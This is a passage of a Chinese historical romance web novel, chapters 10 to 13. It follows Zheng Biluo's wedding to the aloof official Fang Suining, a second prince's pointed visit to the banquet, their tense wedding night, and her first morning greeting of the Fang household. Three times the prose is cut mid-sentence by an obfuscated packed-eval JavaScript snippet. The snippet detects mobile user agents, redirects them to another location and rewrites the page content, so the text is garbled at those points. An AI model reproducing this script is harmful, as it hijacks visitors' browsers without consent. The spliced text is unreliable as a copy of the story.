听出她努力宽慰自己的口吻，郑远持心头愈发酸涩，“你知道么，那嫁妆也是你母亲的意思，她不想看你受委屈，也只能用这种方式，为你托底……” 郑远持咬了咬牙，将郑薜萝的手攥紧。 “若在那边过得实在不如意，只管叫那房遂宁写一纸和离书来。如今和离再醮也并非新鲜事，凭着我的阿萝这样的条件，什么样的不愁找？” 郑薜萝抿唇，眸光被远处的烛火点亮。 “父亲说得对，” 她回过头，冲郑远持眨了眨眼。 “到时候，我就听成帷的，去嫁个状元郎来。” 10. 第 10 章 三月初六，天朗气清，风和日丽。 泰半玉京城的百姓皆知，今日是房郑两家结亲的日子。 隆兴坊内，占据半坊之地的丞相府，远望如被祥云缭绕，朱户甲地，楼阁参差，有丝竹管乐之声盈耳。 房速崇与裴敏夫妇二人盛装华服，端坐高堂。曲乐喧嚷中，身着爵弁的房遂宁在礼仪官引导下迈进堂屋，于父母面前行跪拜礼。 得见儿子逾冠岁终于娶妻成家，房速崇这些日子心里郁积的不快散去大半。 “时辰已到，往迎汝妻，承奉宗庙！” 房遂宁稳稳起身，面上不见一丝情绪，犹如随节奏行动的假人。 裴夫人将视线从儿子身上移开，低声：“去吧。” 从丞相府到罗甸街，几乎跨越大半玉京城，沿路设置禁断，红绸如云一路绵延至永宁坊。街上百姓人头攒动，高声呼喊着吉祥话，便有家丁从锦袋中掏出喜糖喜饼，漫天挥洒，惹得一阵哄抢。 如此声势浩大的婚仪，甚至劳动了京兆尹府出来维持秩序，今日执勤的官兵衙差们自然也得到了丰厚的红封，扛着长枪或是手执仪仗的均是喜笑颜开。 房遂宁坐于障车之中，对外面的热闹充耳不闻。 与此同时。郑府。 郑薜萝身着翟衣，脚踩羽舄，如被花团锦簇围绕，行动间葳蕤生光，在傧相搀扶下迈出西厢，一路行至家庙。 金线绣着凤凰的团扇半遮在眼前，新娘稳稳地跪下去，宝钿礼冠沉沉地压着头，她的姿态却依旧稳重，鬓边华丽的花树步摇几乎没有大幅的晃动。 “新妇辞行祖先！” “拜别父母！” 三叩首罢，郑薜萝直起身子。 按照规程，接下来，需由父母向女儿提出“结缡三命”。郑远持张了张口，却未能发得出声音。 外面的曲乐声凸显堂内寂静，郑薜萝微微降下手中团扇，端坐的夫妻二人看见她扇后露出的笑眼，似有宽慰之意。 李砚卿眸光微动，转头见丈夫额间横纹深如沟壑，显然强忍着胸臆涌动的酸楚。她扶住丈夫手臂，朗声：“薜萝，今朝你嫁为房家妇，往后侍奉夫君，切记敬之慎之，夙夜无违。” 曲乐声陡然高亢，遮住她微微发颤的尾音。 “是。” 郑薜萝再度埋首，将额头贴向冰凉的玉石砖面。 郑远持撑着扶手站起身，朝女儿缓步走过去。 “收好。” 郑薜萝愣住。父亲递过来的是一条青色的巾帕，缝边处的针脚已有磨损。 “这是……” “你祖母寄来的，说要交给她的娞娞。” “娞娞”是祖母对她专有的亲昵称呼，如今已许久不曾听过。郑薜萝心头一酸，伸手接过那帕子，掌心触到凸起的花纹，是祖母一针一线亲自为她绣上的丝萝。 她被接到蓁州时才只有三岁，有段日子半夜时常惊醒啼哭不止，都是祖母搂在怀里轻拍着，一边唱着歌谣，一边哄着重新入睡。 祖母亲手替她做了个小枕头，还有这条带着她气味的锦帕，给予幼年的郑薜萝满满的安全感，陪着她长大。 只是这锦帕后来不见了，怎么也没能找到，还因此和堂姐起了纷争。曾经还以为，她再也看不到这方锦帕了。 郑薜萝将枕巾在手心攥紧，眼眶渐渐发红。 “障车来啦！” “新郎官到了！！” 喧闹的人声伴随着杂乱的脚步涌了进来，郑薜萝将枕巾收进怀中，站起身来。 新郎一身喜服，挺拔的身影如同鹤立鸡群，在人群簇拥之中迈步进门。 迎着众人好奇的目光，房遂宁一路走进中庭，忽然听得人群中响起一个稚嫩的声音。 “是姐夫么？” 郑成帷闪身逃脱了嬷嬷紧抓着的手，一下冲出了人群。他仰起头，好奇地打量着新郎官装束的房遂宁。 这姐夫……真高啊。 房遂宁没料想到会被一个孩子拦在道中，他听说过郑家有个不到十岁的庶子，想来便是眼前的这位。 他冲郑成帷客气地笑了笑，身后便有人过来，拿出一包花生糖要哄走孩子。 孰料，郑成帷却摇了摇头，认真地看向他：“我听说，新郎娶新妇需得经过一番考验才行，姐夫以为呢？” 此言一出，在场众人面色登时精彩。郑成帷瓮声瓮气，让人没法和一个八岁小儿较真，却又不好硬闯过去。 房遂宁抬眼，郑远持夫妇端坐在正堂看着这一切，并无要干涉的迹象。 他蹲下身子，看着郑成帷，嘴角扯出逗弄的笑意。 “弟弟要如何考验？投壶，还是解连环？” “才不是那些小玩意儿……” 郑成帷听他将自己当做小孩逗弄，嘟起了嘴，脸蛋红红的，“你也不是大将军，刀枪棍棒恐怕不大行……” 他歪着脑袋琢磨，语气颇有嫌弃之意，人群里冒出笑声。房遂宁嘴角微抽。 “那就……请姐夫专门给姐姐作一首诗吧！” 这小子。房遂宁挑了挑眉，抬头扫了一眼厅中，仆妇环绕间花团锦簇，隐约可见珠翠华丽的新妇身影。 团扇之后，那双黑白分明的眼睛也正不偏不倚地望过来。 本来娶亲也有作“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024509|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 催妆诗”的习俗，只是或许大家对他有所顾忌，也或许是郑家人压根没这心思逗弄新郎官。 房遂宁收回视线，沉吟半晌。 “凤凰游云际，营巢玉阙中。天涯栖不稳，托身万年枝。” “好！！” “新郎官果然有才情！！” “不愧是清河房氏！” 人群中响起叫好之声。 将新婚妻子比作凤凰，自己便是栖身的常青树，这诗周全了郑房两家的面子，吉祥之意也符合今日的氛围。 红盖之下，最后那两句落在郑薜萝耳中，她听懂新郎官的骄矜：纵使翱翔九天的凤凰，也需找到托身万年的枝桠。 房遂宁半蹲下来，抬手刮了刮郑成帷的鼻子：“听得懂么，弟弟？” 郑成帷仰头，梗着脖子对着姐夫道：“作得也一般，勉强算你过了！” “那就多谢弟弟。” 房遂宁哼笑一声，直起身来，看向厅中。 “姑娘，走吧。”吴妈妈低声在郑薜萝耳边提醒。 郑薜萝颔首，站起身来。 傧相将一根结着彩球的红绸一端递过来，另一端递到房遂宁的手里。 曲乐盖住人声的喧嚷，红绸连着一对新婚夫妇，在人群的簇拥中，一前一后跨出门槛。 郑薜萝被房遂宁引着走到障车前，站定了。转头回望，隔着红绸，再看一眼她生活了八年的这一方宅院。 暮色中，一个个熟悉的身影立于门内，手扶着门边的两个小小人影，是二郎和三妹妹。 视线逐渐变得模糊，郑薜萝看不清他们的脸，只知道他们正翘首望向她所在的方向。 她移开脸，将眼中的酸涩忍了回去。这样的日子，总归是不能哭的。 转身登车，脚下却是一滑，一只骨节分明的手适时伸过来，托住她手臂，触感微微生凉。 “留神。” 房遂宁的声音很近，淡漠却清晰的颗粒感。 郑薜萝被搀扶着登上车，从始至终，二人目光没再交汇。 “新郎官，整理婚服。”一旁的傧相小声提醒。 房遂宁机械地捋了捋衣衽，便迈上车，与新妇并排而坐。 华丽的婚服材质硬挺，衣摆一道道褶皱有如沟壑，将二人隔开距离。 郑薜萝垂眼，裙裾上彩线绣着的成行排列的翟鸟一半陷进深深的褶皱里。她下意识地提了提裙裾，将陷落的一只鸟“打捞”上来。 障车外，十二名来自房家的仆从手捧着连燃了三日的庭燎，自大门内鱼贯而出。 新妇离家，女家烛灭。郑家嫡长女薜萝，终于出嫁了。 11. 第 11 章 [加更] 入洞房，撤…… 丞相府占据隆兴坊半坊之地，单循园的面积便大过郑府。郑薜萝被喜娘搀扶着进园，沿路只见亭台水榭，一步一景，古朴中透着雅致，花园中还养着鸾鹤孔雀，姿态高贵地在花木中漫步。 步入婚房，喜娘扶着郑薜萝在拔步床上坐下。 “这里不用人了，嬷嬷自去吃些东西吧。”她轻声道。 “那您有事吩咐，我们就在外面候着郎君过来。”喜娘带着两个丫鬟离开房间，将门从外面阖上。 “姑娘，累么？” 且微皱着眉打量主子头上，高梳的?髻和繁复的头饰看着就沉坠坠的压人。 “不累，”郑薜萝摇头，鬓边珠花步摇微晃，“你也歇歇吧，跟着站了一天。” 且微便掀开帐幔去了外间，没一会又折回来。 “这新房可真是宽敞，足足有咱们府上正房两倍不止，不愧是清河房氏。” 郑薜萝缓缓扫过所在的主屋，沉香为梁，玳瑁贴门，碧玉窗，珍珠箔……高昂的装潢用料处处透着世家大族的贵重气质。 “只不过，屋里的陈设还是简单了些，这房家郎君似乎不常回来住的样子——恐怕还真是和传言里说的一样，是个不着家的呢……”且微皱着眉道。 “不回家，不是正好么。” 熏炉里燃得不知什么香，香气浓烈，满室氤氲，闻久了有些气闷。 金银花树烛台上，高低错落摆放着十余枝小儿手臂粗的红烛，刚燃了个开头…… 这一夜，还很长。 郑薜萝呼出一口气：“扶我起来看看。” 二人绕过屏风走到正堂。新房里，除了屋子正中悬着的一副丹青，其他装饰寥寥。 “这画得什么呀，除了黑就是白，枯枝败叶的，放在这新房里一点都不喜庆……”且微皱着眉点评。 画上危崖百尺，如刀劈斧凿，崖壁上孤悬着虬曲的枯松枝干如铁，尖梢如刺，松根死死抠进岩缝，暴露盘结，崖下江水奔流，远处大雾弥漫，模糊了天际线。 郑薜萝仰头，静静看着那画。作画之人笔法枯涩锐利，多用焦墨飞白，有种处于绝境，又死地逢生之感。 视线下移，落在画面角落，红色的印章上「素处以默」四个篆字，每一笔都如断铁崩金，锋芒毕露。 “素处以默，妙机其微……” 她沉吟着，“倒真像个修道之人。” “什么意思啊？” 且微看不懂那画，也没听懂郑薜萝在说什么，遂百无聊赖地走开。 “——您的贵妃榻在这呢。” 隔间里面摆着一张贵妃榻，和一面嵌着八宝琉璃的侍女屏风——都是她的嫁妆清单里的，光是这两件就价值千金，只是同一旁的蒲团香案摆在一起，显得十分突兀。 她皱着眉，抬手揉了揉太阳穴。 “姑娘觉得闷么？”且微望一眼她身上沉重的婚服，要去推窗。 “不必了。”郑薜萝掀眉，“怎么还唤姑娘？” “……是，娘子。”且微吐了吐舌头。 “你饿么？” “不、不饿，娘子饿么？” 不远处覆着大红桌帷的圆桌上，摆着一只纯金酒樽，和一对剖为两半的卺。除此之外，并无任何食物。床榻上倒是撒着些红枣、花生之类，但不知能不能动。 且微犹豫着，要不要叫人送些吃的进来，却见郑薜萝从袖子里摸出了两块酥糖来。 且微没客气，接过糖放进嘴里，一边嚼着，一边口齿不清地感叹：“方才经过前面院子，里面简直是人挤人，一丛丛的，可真是热闹……姑娘，你也吃一块吧？” 郑薜萝摇了摇头。 今日府中必是高朋满座，方才还听秦嬷嬷不无骄傲地提起，除了贵妃娘娘和裕王殿下，东宫也送来了贺礼。 也不知现在的郑府，是何景象。 她正出神中，忽然听得前院高亢的通报声——“二皇子驾到！” 且微转脸看向郑薜萝，叹道：“清河房氏可真是势力通天啊，娶个媳妇，皇子们排着队前来道贺！” 前院里，家主房速崇的表情同样难掩讶异。 太子李邺与二皇子寰王李宥一文一武，太子辅国政，二皇子掌兵权，二人一向泾渭分明；再加上寰王的母亲窦淑妃与裴贵妃的竞争关系，连带着与房氏的关系也颇为冷淡，私下实则甚少来往。 今日婚宴，寰王竟然会亲自出席，实在出乎房家人的意料。 满院宾客听得通传，齐齐噤声，但见一队红衣翊卫森严列阵门外，灯火通明的门阀之下，一身戎服的寰王殿下迈步进门。 房衡忍不住出声提醒：“老爷，要去迎一下吧……” 房速崇如梦初醒，拉过身边的房遂宁，迎上前去。 “老臣拜见殿下！” “微臣参见殿下。” 寰王嗓音洪亮：“免礼免礼！” 众人起身，只见寰王生得气质英挺，骨相坚毅，一身戎装更显出硬朗的军人气质。 “贵府大喜，父皇颇为上心，正逢这两日我回京中叙功，便特地要了这份差事，顺道来讨一口喜酒喝！” 房速崇忙道：“大祈有二殿下为国征战，得以四境安宁，实乃万民之福！老臣敬殿下！” 寰王哈哈一笑，接过酒杯，转头看向房遂宁，“本王与遂宁似乎还未一起喝过酒……” 房遂宁双手持杯，微微躬身：“微臣位卑，何其有幸，能与殿下共饮。” “是么？”寰王微眯起眼，“本王却听说，你和我那四弟喝得也不少呢。” 房速崇笑着道：“四殿下喜欢热闹，偶尔会召他一起，不过二殿下也知道，荪桡平日风里来雨里去，能作陪的时候实在不多，哈哈……” “也是，”寰王拍了拍房遂宁的肩膀，“都听说房家郎君是个厉害角色，朝中不少人都怕你，说你不近人情，如今娶妻成家，不知会否多些人情味了！” “殿下玩笑。”房遂宁垂着眼，语气淡淡。 寰王眸光微眯，若有深意地看了他一眼：“如今郑家女儿嫁你为妻，可要好好待她。房郑两家均乃大祈股肱，只有勠力同心，方能永葆大祈国祚。我说得可对？” “微臣铭记。” 寰王微微一笑，看向房速崇，似在等他表态。 房速崇心中一凛，拱手道：“殿下所言甚是。” 那边厢，酒席首位已经布置出来，只等着寰王落座，他却摆了摆手：“只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024510|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来讨杯酒喝，还得连夜开拔回营，我就不多待了！” 说罢就此告辞，走了没两步，又转过身来。一院子的人刚刚落座，又匆匆忙忙提着袍子站起来，等着寰王示下。 寰王只笑着对新郎官道：“差点忘了，宁安托本王带了份礼物给你们新婚小夫妻。一会便让他们抬到你院子里去。” 他冲着房遂宁眨眨眼，“人家姑娘初来乍到，难免无聊，你多陪陪，解解闷……” “臣遵命。” 房遂宁微笑颔首，低眸时笑意如冰消，瞬间回至冰点。 - 宁安公主给新婚夫妇的礼物是一台彩索秋千架。 几个家丁吭哧吭哧地将秋千架抬过前院。房速崇冷眼望着，低声：“今夜多少眼睛盯着房府，寰王都特意来替郑氏站台，你就算是作戏，也给我把夫妻恩爱做足了。” 房遂宁下颌线绷得极紧，一语不发。 “你听见了没？？”房速崇不满地睨向儿子。 “……知道了。” 漏断更移，星斗渐斜，婚宴终于散场。 房遂宁远远看见灯火通明的婚房，步伐慢了下来。 窗棂上贴着喜字，廊柱彩绸低垂，绣着百子图的彩障将院子围了一圈，一直到房门口……仿佛被这满目的红刺得眼睛痛，他忍不住皱起眉头。 “主子。” 房遂宁转头，泊舟的身影从树后闪出。 “什么事？” “夜来死了。” 房遂宁目光凛起：“什么时候的事？” “人被发现在城西乱葬岗，就在卢序槐去过郑家后。” ——至此，线索已断，案子陷入死局。 见泊舟面露迟疑，房遂宁盯着他：“还有什么事？” “上面递话：此案因涉及四品以上官员，目前已经由刑部移交大理寺。” 「人家姑娘初来乍到，你多陪陪……」 房遂宁想起寰王方才的话，唇角勾起一抹冷笑。这有意让他远离的架势，未免太过明显。 “知道了，你去吧。” 泊舟领命，身影迅速消失在黑暗中。 喜娘等了半宿，见新郎官终于回来了，清了清嗓子：“入洞房，撤锦障！” 一院子候着的下人如梦初醒，全部打起了精神。 房遂宁迈步走上台阶，喜娘正要推门，却听他道：“我自己进去就行。你们下去。” 两个喜娘对视一眼，均有些犹豫：她们负责引导新人，进入洞房之后还有若干流程要走，若事宜未尽，则不算完满。 “不就是饮合卺酒？我知道的。” 或许是累了一天，新郎的语气显然已颇为不耐。 喜娘不敢违抗，退到阶下，屈膝行礼：“那便祝新郎新妇百年好合，恩爱如水！” 房遂宁摆了摆手，众下人无声而迅速地退出了院子。 廊下悬着的灯笼随风摇晃，橘红色的光短暂地照亮他锋利的眉眼，旋即又陷入更深的黑暗…… 他一伸手，将房门推开了。 且微侯在门口，见房遂宁独自一人站在门外，颇有些意外。 “……姑、姑爷？您——” “出去。” 12. 第 12 章 一道绛色婚服的修长人影迈进门来。 房遂宁的视线落在那架分外惹眼的宝石屏风上，肩膀微微耸动，似是哼笑了一声。 他几步走到香案边，抬手将那尊吐着香烟的狻猊铜炉熄灭了。 郑薜萝坐在拔步床上，无声舒了口气。那股甜腻的味道熏得人头疼，她已经忍了一个晚上。 一颗心紧接着又悬起——外间的人正缓步朝着她靠近。 即使隔着两重帐幔，看不清人脸，房遂宁的周身却似有迫人的寒气，屋里溶溶的春意都因之凝结。 她微颤的手摸到身边放着的团扇，举起来，半遮在面前。 按照喜娘传授过的流程：新郎入洞房后，男女对坐，新妇以扇遮面，由傧相于帐前咏除花去扇诗二首，新妇去扇； 而后，便是新郎脱下礼服，再为新娘卸去花冠和婚服； 再然后，便是洞房夜的最后一项。 …… 郑薜萝的胃里忽然一阵翻腾。 此时屋中只有他们两人，接下来的流程会如何进行？ 踟蹰间，一片阴影从天而降，人已到了面前。 房遂宁居高临下地注视着他，摇晃的烛火将他黑沉的瞳孔点亮，其中的审视锐意昭彰。 像在看一个入侵者。 从郑府到房府的这一路，他们并肩坐在婚车中，外人所见：新郎矜持，新妇娇羞，实则二人未曾有过哪怕一个眼神的交换。 她抬眼，第一次与房遂宁对视。 男人长眉入鬓，锋利的薄唇紧紧抿着，眼尾狭长，眸光中如有碎冰缓缓流动。 郑薜萝依旧规规矩矩地举着扇子，新郎官并无为新妇却扇的觉悟。房遂宁见惯了故作镇定的嫌疑人，一眼便看出她在紧张，讽刺地冷哼了一声，便转身朝外走。 “放下吧，不累么。” 访仙阙那一晚，他也是用同样倨傲的语气，说了一句话。 「商人重利，多有狡黠市侩之徒。」 郑薜萝手心的汗瞬间冷却，胃里的翻腾莫名缓和了些。她从善如流地放下扇子，跟着站起身来。 房遂宁走到桌边，面上的不爽更重了些，他想喝水，可桌上除了一斛酒，什么也没有，左右看了一圈，悻悻地坐下。 郑薜萝停在他两步之外，依稀看清他额头沁着一层薄汗。新郎的婚服也和新娘一样，里三层外三层，更不论他还穿着这一身，应付了一整晚宾客，定然不会好受。 出于纯粹的感同身受，她尝试着建议：“……不若先宽下礼服？” 许是太久没有说话，第一句开口嗓音竟有些哑，“夫君”二字，没发得出声来。 房遂宁一只手臂撑在桌上，隔着桌子朝她看过来，眼眸微眯。 他此时已经可以确定，上一回在访仙阙遇到的人便是她。 此刻烛影摇红，他终于将人看清了：她面上画着精致的新娘妆容，姿态端庄，珠光宝气繁重婚服之下，却无半分灵动，有如提线木偶。 这便是郑远持捧在手掌心，不惜高调露富，甚至请动寰王出面，唯恐被他们房家欺负了去的宝贝女儿？ 看上去清纯无暇，却能和宁安公主那样的顽劣人物玩到一块去，据秦嬷嬷反馈，这郑家小姐于男女之事上似乎也颇为看得开……他厌恶地想。 “郑薜萝。”房遂宁不带任何感情地喊她名字。 花冠下步摇微晃，阴影落在白皙之上，新娘一双横波目，无辜至极，虚伪至极。 他冷冷移开视线。 “内帷不比朝堂，这里无须作戏。” 郑薜萝的肩膀微微下塌两分，像是卸下了什么担子，嘴角勾起完美的弧度。 房遂宁再不理会，自顾自地去解除身上沉坠的衣饰。 这套婚服乃是礼部特制，只有宗室子弟方能享有的品阶制式，层层叠叠，比他平日穿的衣服要复杂得多，除了镶嵌着珍珠、琉璃、水晶的腰带，还有上面挂着的成组的玉佩……他叮呤咣啷一股脑除下，信手扔在桌上。 解到腰际的一颗珍珠扣子，却是费了半天劲解不下来，到后来越发没了耐性，他索性用力去扯。 郑薜萝站在一旁，见他用了半天蛮力不得其法，实在看不下去，走上前准备帮忙。 手刚伸出去，只听“嗤拉”一声，婚服的扣眼被撕开了个口子，她的手被房遂宁猛地撞开，那珍珠扣终是被扯掉了下来，骨碌碌滚了老远。 手背隐隐作痛，她低眼去看，已经红了一片。 “管你自己就好。” 房遂宁瞥来一眼，没什么情绪。 郑薜萝走到门边，将那粒滚远的扣子拾起来，放回他手边的桌上。 自进屋后，新娘除了第一句话，便再未开过口。房遂宁掀眉去看，只见她姿态从容，浓密的睫毛在眼底投下一片扇形的阴影，乖觉地不再试图靠近，或是插手。 他心头涌起烦躁，又继续去解剩下的扣子，动作却慢了几分。 郑薜萝移步去了内室，取来清水灌入铜盆，端放在搁架上，沉着地将濯面的素缎备好，又走过来，取走房遂宁随手扔在一边的罩袍，挂上架子。 她自己始终穿着一身婚服，大带束紧窈窕纤身，织锦刺绣翟鸟的绶带自腰后垂落，在地面拖曳，腰际悬垂的垂珠与玉珩撞击出清脆的声响。一举一动沉稳端方，依旧是没有半分瑕疵。 将喜娘交代的一切做完，郑薜萝转头看一眼桌边坐着的人。他手边的合卺酒从始至终未曾动过。 她收回视线，走到窗边妆台坐下。 一支支摘下头上的花钗和步摇，擦去口脂、胭脂，洗去花钿，卸下覆了一整日的浓重妆容…… 昔日都是且微帮她做这些，自己动手，慢是慢了些，好在她也不赶时间。 夜还很长，足够她慢慢适应。 房遂宁盯着窗边人的背影，那张红木妆台的位置，原本摆着他的书架，这会也不知被搬去哪里了……他皱起眉，目光停在铜镜上。 镜中倒映的人影，眉目秀丽如画，已经不施半点粉黛。 “那么，郎君也早些安置。” 郑薜萝站起身来，开口说了今晚第二句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024511|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 她将婚服褪下，挂在架子上，走到床边，弯腰将榻上铺着的干果扫落下地，发出一阵清脆的声响。也不去管那一地的杂乱，上了榻便面朝里躺了下来。 一粒桂圆骨碌碌滚到房遂宁的脚边。他呼吸了几瞬，站起身。 靴尖从上面碾过，果壳碎了一地。 金银花树上，根根红烛燃至过半，烛泪错落，夜已深沉。榻上女人呼吸匀停，侧影缓缓起伏，似乎已经睡着了。 呵，她倒是能随遇而安。 房遂宁唇角勾一抹冷笑，不就是想让他休息，那便养精蓄锐。他走到铜盆边，拿帕子胡乱擦了把脸，水温正好，清爽了些。到床边躺了下来，与身边人衣袂都未曾碰到半点。 他转头，看着暗处躺着的人影，眸光阴鸷。 收回视线，将手伸出去，越过身旁的人去扯里侧摆着的被子，一下竟没扯动。 郑薜萝睁开眼，转头看向房遂宁。他正皱着眉看着她，也不说话，手里死死攥着被子的一角。 她松开手，帮忙将被子捧去他身侧，不动声色地将他手心攥着的枕巾一角扯了回去。 房遂宁睨了一眼，她扯回去的是一张边缘磨损的枕巾，一看就是不属于这一切簇新的洞房的东西，大概是娘家带来的。他懒得管，重新闭上眼。 长夜漫漫，今夜的虫鸣似乎格外刺耳，他随即意识到，刺耳的是她匀停的呼吸声。 他睁着眼，透过上方水红色的帐幔，隐约可见床顶精工雕刻的纹饰，是某种类似凤凰的祥瑞图腾，单这一台拔步床便造价不菲——难怪她能睡得安稳，自小就在这样的环境里长大，定然是娇生惯养……房遂宁厌恶地想着，直到窗外更声敲响，他坐起身，一把掀开身上的锦被。 红烛大多已经燃尽，只余一两支摇摇欲灭。 明明一进屋时，他就已经将那甜得腻人的香给灭了，可不知为何，依旧有股不知哪儿来的茉莉香气，幽幽地朝他鼻子里钻。 环顾一圈才确认，那香气的来源不是别处，正是他身边的人。 味道并不浓烈，只是若有似无，却有着极强的存在感，隐隐挑动他身体深处的某处神经。 房遂宁翻身下床，将窗推开半扇，一阵沁凉的夜风吹进来。 最后两盏红烛被风吹灭，一线月光顺着半阖的窗扇，洒落在床头，照亮了枕上半幅睡颜。 郑薜萝阖着眼，云鬓松脱，不知梦见了什么。她蜷曲着身体，樱唇微启，发出小兽一般无意识地呢喃。 那细微的声音犹如一把羽毛，挠在人心头极痒处。 房遂宁蹙眉，喉头一阵干渴。 他赤足走到圆桌边，拎起那壶酒仰头灌了一口，又回了床边。 酒气上涌，衣衽发紧，他下意识地扯了扯。 榻上人仍旧在沉睡，一缕乌发贴在颈边，黑白分明的昳丽，延伸进衣领深处。 他眸光微凝，脑中闪过一些光怪陆离的片段。 忽有种莫名的冲动，想一口咬住她修长的脖颈，看她仰起脸…… 一如那夜。 13. 第 13 章 枝头鸟鸣啾啾，郑薜萝睁开眼。 她望着红色的帐顶缓了一会，才意识到自己身处何地。 转头，枕边空无一人，重又闭上眼。 昨日实在是累极，竟回想不起自己是怎么睡着的，手里还紧紧攥着祖母的枕巾。她将枕巾上的褶皱抚平，叠整齐后压在枕头下面。 陌生的房间里，触目所及大片大片的红色，还是让她有些不适应。 郑薜萝犹豫了一会要不要喊人进来，最后还是决定，先把桌上那两杯酒给收拾了。走过去时，窗边突然有动静。 屏风后现出男人挺拔的剪影。她动作微顿。 房遂宁已经换了一件月白松霜缎的直领长袍，领缘和宽大的袖口绣着云水暗纹的滚边，比起新郎官，这一身飘逸出尘，更像不食人间烟火的修道之人。 他凌厉的眉峰上还挂着几滴水珠，应是已经濯了面，前一晚的疲态一扫而空，显得神清气爽了不少。 “你……昨夜一直在这里打坐？”郑薜萝扫向他脚边的蒲团，疑惑道。 男人淡淡看她一眼，不很耐烦的样子，没有应声。 且微自天不亮就一直侯在外面，“哗啦”一声门突然打开，房遂宁负手站在门内。 “郎、郎——”她还不怎么习惯，称呼在舌头上滚了两下愣是没喊得出来。 “进去伺候你家主子吧。”扔下这一句，房遂宁便错身出了门。 且微脚步匆匆地进到内室，郑薜萝已经在妆台边坐下，正在梳头。 她视线忍不住朝床上瞄。锦缎被褥叠得整整齐齐，褥面平整一无所见。暗自叹一口气，便走去帮主子梳妆。 郑薜萝换了一身彩绘朱雀纹的白绫背子，一腰宝相花缬纹浅绛齐腰纱裙，肩披同色帔帛，蝉鬓低梳，便准备往岁安堂去拜见君姑。 临出门前，她将头上倒插的鸳鸯戏花纹的金梳取了下来，换了一支蔓草纹的银钗。 循园与房府正院只隔着一堵矮墙，仆妇引着少夫人迈出院门，余光瞥见小径另一头一道清拔人影，似乎已经站了一会儿。 郑薜萝站定，低眉顺目地唤了一声：“夫君。” 房遂宁冷冷看她一眼，没有吱声。 郑薜萝略一屈膝，便要朝岁安堂的方向去，孰料房遂宁脚步一顿，转而走在了她的前面。 原本前面带路的仆妇掩嘴一笑，自动让到两个主子后面去。 二人一前一后，穿过花园小径、假山长廊、九曲浮桥，一路无话。 郑薜萝偶一抬眼，前面人背着手，没了阔大的婚服遮掩，袍角掀动时一双长腿更显分明。 应是家族遗传，房家的男人多是身高腿长，房遂宁更是如此，站在人群中，总是鹤立鸡群十分显眼。 秦嬷嬷站在廊下，就这么远远看着二人同行而来，连忙朝屋里：“夫人，新妇到了。桡哥儿也跟着一起来的。” 裴敏手执一串佛珠坐在罗汉榻上，听见这话，微阖的眼睁开了。 “谁说桡哥儿不情愿的？嫂子你看，还陪着新妇一道见君姑来了……” 说话的是坐在裴夫人左边上首的一位妇人，有房家人典型的面相，一双狭长的瑞凤眼，举手投足间颇有贵气。 靠坐在裴夫人身侧淡晕粉妆的女子细眉微蹙。她约莫十七八岁年纪，看见门外的人影，缓缓站起身来，低低唤了声：“桡哥哥。” “延儿也在。” 房遂宁紧绷的神色有了些许变化，朝着那少女略一颔首，迈步进门。 郑薜萝的视线不着痕迹地从那女子身上移开，跟着房遂宁走到厅中落座。 方才说话的妇人旁边，还跟着一大一小两个孩子，高些的男孩儿眉眼清秀，端坐在位置上，一举一动颇有规矩；另一个小丫头梳着双髻，手里拿一串糖人，不肯乖乖坐着，只缠在妇人脚边，见到人影迈开小脚朝房遂宁跑了过来。 “我要靠着表哥！表哥给我好吃的！” 妇人语气严厉：“兰儿，过来坐好。” 小丫头只好暂时松开房遂宁的袍角，依依不舍地抬头看一眼面前的人，却没急着挪动步子，又好奇地看向他身旁的郑薜萝：“你是……表嫂么？” 郑薜萝看着这小丫头一张肉嘟嘟的脸，刚搓出来的糯米圆子一般，带了笑意冲她眨了眨眼，柔声：“是呀。” “快点回来，今日不可胡闹！” 这是要教训人的语气了，小丫头乖觉得很，马上又跑回母亲身边，只是一双滴溜溜的眼睛仍然好奇地盯着那个笑起来很温柔的表嫂。 郑薜萝从席上起身，正式向裴夫人行了拜见之礼，依例荐上枣栗脯脩，再向君姑奉茶。 礼毕，裴夫人让郑薜萝落座，给她介绍，眼前的这位长辈是老爷的三妹妹，房遂宁的姑母，单名一个菀字，嫁的是刑部尚书左素同，也就是房遂宁的直属上司。 那两个小的，森哥儿十三，兰姐儿六岁，是房菀和左素同的一双儿女。 房菀拽着两个孩子，教他们：“可以喊人啦。” “表嫂好。” “表嫂好！” 两个孩子一前一后奶声奶气地叫。 郑薜萝笑了笑，取来准备好的糖果，给两个孩子各抓了一把。 裴敏的视线一转，看向身边的人：“这是我内弟家的孩子，裴氏玉延。” 裴玉延站起身来，朝郑薜萝低低唤了一声：“表嫂。” “妹妹好，妹妹芳名早有耳闻。” 